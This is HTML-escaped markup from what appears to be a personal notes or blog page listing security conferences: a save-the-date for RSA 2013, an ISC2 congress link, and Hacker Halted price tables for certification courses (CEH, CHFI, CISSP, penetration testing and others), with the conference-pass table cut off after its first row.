&lt;strong style=&quot;font-family: arial, helvetica, sans-serif; font-size: 15px; text-align: -webkit-auto;&quot;&gt;Save the date for 2013: February 25 to March 1 in San Francisco!&lt;/strong&gt;
&lt;br /&gt;
&lt;strong style=&quot;font-family: arial, helvetica, sans-serif; font-size: 15px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



&lt;strong style=&quot;font-family: arial, helvetica, sans-serif; font-size: 15px; text-align: -webkit-auto;&quot;&gt;&lt;a href=&quot;https://ae.rsaconference.com/US12/scheduler/eventcatalog/eventCatalog.do&quot; target=&quot;_blank&quot;&gt;Refer this for 2012 Sessions&lt;/a&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



Information System Security Consortium Congress:&amp;nbsp;&lt;/h2&gt;
&lt;a href=&quot;https://www.isc2.org/Conferences.aspx&quot;&gt;https://www.isc2.org/Conferences.aspx&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;a href=&quot;http://www.hackerhalted.com/&quot;&gt;http://www.hackerhalted.com&lt;/a&gt;&lt;/h2&gt;
Has courses for learning etc:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; style=&quot;color: #222222; font-family: &#39;Helvetica Neue&#39;, Arial, Helvetica, sans-serif; font-size: 12px; height: 51px; line-height: 16px; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px; text-align: left;&quot;&gt;SN&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px; text-align: left;&quot;&gt;Course Title&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px;&quot;&gt;Before May 31&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px;&quot;&gt;Before Aug 31&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px;&quot;&gt;Starts Sept 1&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td colspan=&quot;9&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;hr style=&quot;color: dimgrey; height: 1px;&quot; /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;1.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/CertifiedEthicalHacker%28CEH%29v7.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Certified Ethical Hacker (CEH) v7&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2999&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3399&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3599&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;2.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/CertifiedSecurityAnalyst/LicensedPenetration.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Certified Security Analyst / Licensed Penetration Tester (ECSA/LPT)&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2799&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3199&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px; text-align: left;&quot;&gt;&lt;/strong&gt;$3399&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;3.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/ComputerHackingForensicInvestigator%28CHFI%29.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Computer Forensics Hacking Investigator (CHFI)&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2799&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3199&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3399&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;4.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/CertifiedIncidentHandler%28ECIH%29.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Certified Incident Handler (ECIH)&lt;/a&gt;&amp;nbsp;[2 days]&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2299&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2699&amp;nbsp;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&amp;nbsp;$2899&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;5.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/AdvancedSecurityTraining%28CAST%29/AdvancedPenetrationTesting.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;CAST 611 – Advanced Penetration Testing&lt;/a&gt;&amp;nbsp;[3 days]&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2799&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3199&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3399&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;6.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/AdvancedSecurityTraining%28CAST%29/AdvancedMobileHackingForensics.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;CAST 612 – Advanced Mobile Hacking &amp;amp; Forensics&lt;/a&gt;&amp;nbsp;[3 days]&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&amp;nbsp;$2799&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3199&amp;nbsp;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&amp;nbsp;$3399&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;7.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/AdvancedSecurityTraining%28CAST%29/AdvancedNetworkDefense.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;CAST 614 – Advanced Network Defense&lt;/a&gt;&amp;nbsp;[3 days]&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2799&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3199&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3399&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;8.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/WirelessBluetoothHacking101.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Wireless &amp;amp; Bluetooth Hacking 101&lt;/a&gt;&amp;nbsp;[2 days]&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2299&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2699&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2899&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;9.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/SAPSecurityInDepth.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;SAP Security In Depth&lt;/a&gt;&amp;nbsp;[2 days]&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&amp;nbsp;$2299&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2699&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2899&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;10.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/CISSP.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Certified Information Systems Security Professional (CISSP)&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2799&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3199&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3399&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;11.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/CrimewareAttribution.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Crimeware Attribution&lt;/a&gt;&amp;nbsp;[2 days]&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&amp;nbsp;$2299&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2699&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2899&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;12.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/TheWebApplicationHackersHandbook2ndEdition.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;The Web Application Hacker’s Handbook 2nd Edition Live&lt;/a&gt;&amp;nbsp;- [3 days]&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2799&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3199&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3399&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;13.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.hackerhalted.com/2011/Training/OtherInfosecTraining/PMP-ProjectManagementProfessional.aspx&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;PMP (Project Management Professional)&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$2799&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3199&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$3399&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; style=&quot;color: #222222; font-family: &#39;Helvetica Neue&#39;, Arial, Helvetica, sans-serif; font-size: 12px; height: 51px; line-height: 16px; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;left&quot; colspan=&quot;9&quot; style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px;&quot;&gt;Conference Pass&lt;/strong&gt;&amp;nbsp;&lt;a href=&quot;https://www.etouches.com/hhusa2011&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; color: #87c4e9; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td colspan=&quot;9&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;hr style=&quot;color: dimgrey; height: 1px;&quot; /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px; text-align: left;&quot;&gt;SN&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px; text-align: left;&quot;&gt;Category&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px;&quot;&gt;Before May 31&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px;&quot;&gt;Before Aug 31&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;strong style=&quot;font-size: 12px; line-height: 14px;&quot;&gt;Starts Sept 1&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td colspan=&quot;9&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;hr style=&quot;color: dimgrey; height: 1px;&quot; /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;1.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;EC-Council Member*&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$899&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$1199&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$1399&lt;/td&gt;&lt;/tr&gt;
